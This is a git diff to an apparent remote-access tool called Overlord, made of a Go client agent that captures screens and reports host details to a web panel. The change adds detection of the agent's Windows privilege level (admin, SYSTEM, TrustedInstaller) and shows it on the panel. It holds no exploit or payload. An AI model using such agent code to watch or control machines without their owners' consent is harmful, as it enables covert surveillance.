diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go
index 36c5b18..2fe240c 100644
--- a/Overlord-Client/cmd/agent/capture/capture.go
+++ b/Overlord-Client/cmd/agent/capture/capture.go
@@ -279,13 +279,14 @@ func captureAllDisplaysAndSend(ctx context.Context, env *rt.Env) error {
quality := jpegQuality()
frame, _, err := buildFrame(canvas, 0, quality)
+ canvasW, canvasH := canvas.Rect.Dx(), canvas.Rect.Dy()
PutRGBA(canvas)
canvas = nil
if err != nil {
return err
}
frame.Header.FPS = 1
- log.Printf("capture: all-displays initial frame %dx%d (%d monitors)", canvas.Rect.Dx(), canvas.Rect.Dy(), n)
+ log.Printf("capture: all-displays initial frame %dx%d (%d monitors)", canvasW, canvasH, n)
return wire.WriteMsg(ctx, env.Conn, frame)
}
diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go
index 79f815e..66bc33d 100644
--- a/Overlord-Client/cmd/agent/session.go
+++ b/Overlord-Client/cmd/agent/session.go
@@ -613,6 +613,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
hello.GPU = hw.GPU
hello.RAM = hw.RAM
hello.IsAdmin = sysinfo.IsAdmin()
+ hello.Elevation = sysinfo.Elevation()
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
return fmt.Errorf("send hello: %w", err)
diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_other.go b/Overlord-Client/cmd/agent/sysinfo/admin_other.go
index d4e0dae..e2a23f9 100644
--- a/Overlord-Client/cmd/agent/sysinfo/admin_other.go
+++ b/Overlord-Client/cmd/agent/sysinfo/admin_other.go
@@ -8,3 +8,10 @@ import "os"
func IsAdmin() bool {
return os.Getuid() == 0
}
+
+func Elevation() string {
+ if os.Getuid() == 0 {
+ return "admin"
+ }
+ return ""
+}
diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_windows.go b/Overlord-Client/cmd/agent/sysinfo/admin_windows.go
index 5f1c8ab..b73f3ee 100644
--- a/Overlord-Client/cmd/agent/sysinfo/admin_windows.go
+++ b/Overlord-Client/cmd/agent/sysinfo/admin_windows.go
@@ -2,10 +2,62 @@
package sysinfo
-import "golang.org/x/sys/windows"
+import (
+ "unsafe"
+
+ "golang.org/x/sys/windows"
+)
-// check current process token to see if we're admin asf
func IsAdmin() bool {
token := windows.GetCurrentProcessToken()
return token.IsElevated()
}
+
+func Elevation() string {
+ token := windows.GetCurrentProcessToken()
+
+ tu, err := token.GetTokenUser()
+ if err == nil {
+ sid := tu.User.Sid
+ if isTrustedInstallerSID(sid) {
+ return "trustedinstaller"
+ }
+ if isLocalSystemSID(sid) {
+ return "system"
+ }
+ }
+
+ if token.IsElevated() {
+ return "admin"
+ }
+ return ""
+}
+
+func isLocalSystemSID(sid *windows.SID) bool {
+ system, err := windows.StringToSid("S-1-5-18")
+ if err != nil {
+ return false
+ }
+ return sid.Equals(system)
+}
+
+func isTrustedInstallerSID(sid *windows.SID) bool {
+ ti, err := windows.StringToSid("S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464")
+ if err != nil {
+ return false
+ }
+ if sid.Equals(ti) {
+ return true
+ }
+ idAuth := (*[6]byte)(unsafe.Pointer(uintptr(unsafe.Pointer(sid)) + 2))
+ if idAuth[5] == 5 { // SECURITY_NT_AUTHORITY
+ subAuthCount := *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(sid)) + 1))
+ if subAuthCount >= 1 {
+ firstSub := *(*uint32)(unsafe.Pointer(uintptr(unsafe.Pointer(sid)) + 8))
+ if firstSub == 80 { // SECURITY_SERVICE_ID_BASE_RID
+ return true
+ }
+ }
+ }
+ return false
+}
diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go
index c2c62bc..08d11e9 100644
--- a/Overlord-Client/cmd/agent/wire/protocol.go
+++ b/Overlord-Client/cmd/agent/wire/protocol.go
@@ -20,6 +20,7 @@ type Hello struct {
GPU string `msgpack:"gpu,omitempty"`
RAM string `msgpack:"ram,omitempty"`
IsAdmin bool `msgpack:"isAdmin,omitempty"`
+ Elevation string `msgpack:"elevation,omitempty"`
}
type EnrollmentChallenge struct {
diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css
index e5c6c9d..4efc2c1 100644
--- a/Overlord-Server/public/assets/main.css
+++ b/Overlord-Server/public/assets/main.css
@@ -434,6 +434,16 @@ p {
color: #fef08a;
border-color: rgba(234, 179, 8, 0.45);
}
+.pill-system {
+ background: rgba(239, 68, 68, 0.18);
+ color: #fca5a5;
+ border-color: rgba(239, 68, 68, 0.45);
+}
+.pill-ti {
+ background: rgba(168, 85, 247, 0.18);
+ color: #d8b4fe;
+ border-color: rgba(168, 85, 247, 0.45);
+}
/* Hardware info toggle & panel */
.pill-hw {
diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js
index 75a411d..e4f6632 100644
--- a/Overlord-Server/public/assets/render.js
+++ b/Overlord-Server/public/assets/render.js
@@ -16,7 +16,7 @@ function escapeHtml(text) {
}
function cardDigest(c) {
- return `${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}`;
+ return `${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}`;
}
export function createRenderer({
@@ -422,6 +422,8 @@ export function createRenderer({
${client.online ? "Online" : "Offline"}
${client.isAdmin ? ` Admin` : ""}
+ ${client.elevation === "system" ? ` SYSTEM` : ""}
+ ${client.elevation === "trustedinstaller" ? ` TrustedInstaller` : ""}
${!client.online && client.disconnectReason && client.disconnectReason !== "normal" ? (() => {
const iconMap = { panic: "fa-skull-crossbones", crash: "fa-skull", timeout: "fa-clock", network: "fa-plug-circle-xmark" };
const colorMap = { panic: "text-red-400", crash: "text-red-400", timeout: "text-amber-400", network: "text-slate-400" };
diff --git a/Overlord-Server/public/assets/utils.js b/Overlord-Server/public/assets/utils.js
index ec3814c..70b72b8 100644
--- a/Overlord-Server/public/assets/utils.js
+++ b/Overlord-Server/public/assets/utils.js
@@ -23,6 +23,7 @@ export function digestData(data, { page, pageSize, searchTerm, sort }) {
arch: c.arch,
os: c.os,
monitors: c.monitors,
+ elevation: c.elevation,
})) || [];
return JSON.stringify({
page,
diff --git a/Overlord-Server/src/db.ts b/Overlord-Server/src/db.ts
index 0b33fdf..ab2fdda 100644
--- a/Overlord-Server/src/db.ts
+++ b/Overlord-Server/src/db.ts
@@ -106,6 +106,9 @@ try {
try {
db.run(`ALTER TABLE clients ADD COLUMN disconnect_detail TEXT`);
} catch {}
+try {
+ db.run(`ALTER TABLE clients ADD COLUMN elevation TEXT`);
+} catch {}
db.run(`
CREATE TABLE IF NOT EXISTS banned_ips (
@@ -421,8 +424,8 @@ export function upsertClientRow(
) {
const now = partial.lastSeen ?? Date.now();
db.run(
- `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram, is_admin)
- VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, 0))
+ `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram, is_admin, elevation)
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, 0), ?)
ON CONFLICT(id) DO UPDATE SET
hwid=COALESCE(excluded.hwid, clients.hwid),
role=COALESCE(excluded.role, clients.role),
@@ -446,7 +449,8 @@ export function upsertClientRow(
cpu=COALESCE(excluded.cpu, clients.cpu),
gpu=COALESCE(excluded.gpu, clients.gpu),
ram=COALESCE(excluded.ram, clients.ram),
- is_admin=COALESCE(excluded.is_admin, clients.is_admin)
+ is_admin=COALESCE(excluded.is_admin, clients.is_admin),
+ elevation=COALESCE(excluded.elevation, clients.elevation)
`,
partial.id,
partial.hwid ?? partial.id,
@@ -472,6 +476,7 @@ export function upsertClientRow(
partial.gpu ?? null,
partial.ram ?? null,
partial.isAdmin !== undefined ? (partial.isAdmin ? 1 : 0) : null,
+ partial.elevation ?? null,
);
if (partial.hwid) {
@@ -731,7 +736,7 @@ export function listClients(filters: ListFilters): ListResult {
const rows = db
.query(
- `SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked, enrollment_status as enrollmentStatus, public_key as publicKey, key_fingerprint as keyFingerprint, cpu, gpu, ram, is_admin as isAdmin, disconnect_reason as disconnectReason, disconnect_detail as disconnectDetail
+ `SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked, enrollment_status as enrollmentStatus, public_key as publicKey, key_fingerprint as keyFingerprint, cpu, gpu, ram, is_admin as isAdmin, elevation, disconnect_reason as disconnectReason, disconnect_detail as disconnectDetail
FROM clients
${whereSql}
${orderBy}
@@ -764,6 +769,7 @@ export function listClients(filters: ListFilters): ListResult {
gpu: c.gpu || null,
ram: c.ram || null,
isAdmin: c.isAdmin === 1,
+ elevation: c.elevation || null,
disconnectReason: c.disconnectReason || null,
disconnectDetail: c.disconnectDetail || null,
thumbnail: getThumbnail(c.id),
diff --git a/Overlord-Server/src/httpHandlers.ts b/Overlord-Server/src/httpHandlers.ts
index fa77a15..f670299 100644
--- a/Overlord-Server/src/httpHandlers.ts
+++ b/Overlord-Server/src/httpHandlers.ts
@@ -29,6 +29,7 @@ export function handleClientsRequest(req: Request): Response {
return {
...item,
isAdmin: live.isAdmin ?? item.isAdmin,
+ elevation: live.elevation ?? item.elevation,
...(live.monitorInfo?.length ? {
monitors: live.monitorInfo.length,
monitorInfo: live.monitorInfo,
diff --git a/Overlord-Server/src/types.ts b/Overlord-Server/src/types.ts
index ad9e3cd..b5e5fa5 100644
--- a/Overlord-Server/src/types.ts
+++ b/Overlord-Server/src/types.ts
@@ -29,6 +29,7 @@ export type ClientInfo = {
gpu?: string;
ram?: string;
isAdmin?: boolean;
+ elevation?: string;
enrollmentStatus?: EnrollmentStatus;
publicKey?: string;
keyFingerprint?: string;
diff --git a/Overlord-Server/src/wsHandlers.ts b/Overlord-Server/src/wsHandlers.ts
index 89079a9..84cc19a 100644
--- a/Overlord-Server/src/wsHandlers.ts
+++ b/Overlord-Server/src/wsHandlers.ts
@@ -90,6 +90,7 @@ export function handleHello(
info.monitorInfo = (payload as any).monitorInfo || info.monitorInfo;
info.inMemory = !!(payload as any).inMemory;
info.isAdmin = !!(payload as any).isAdmin;
+ info.elevation = typeof (payload as any).elevation === "string" ? (payload as any).elevation : info.elevation;
info.cpu = (payload as any).cpu || info.cpu;
info.gpu = (payload as any).gpu || info.gpu;
info.ram = (payload as any).ram || info.ram;
@@ -119,6 +120,7 @@ export function handleHello(
gpu: info.gpu,
ram: info.ram,
isAdmin: info.isAdmin,
+ elevation: info.elevation,
lastSeen: info.lastSeen,
online: 1,
});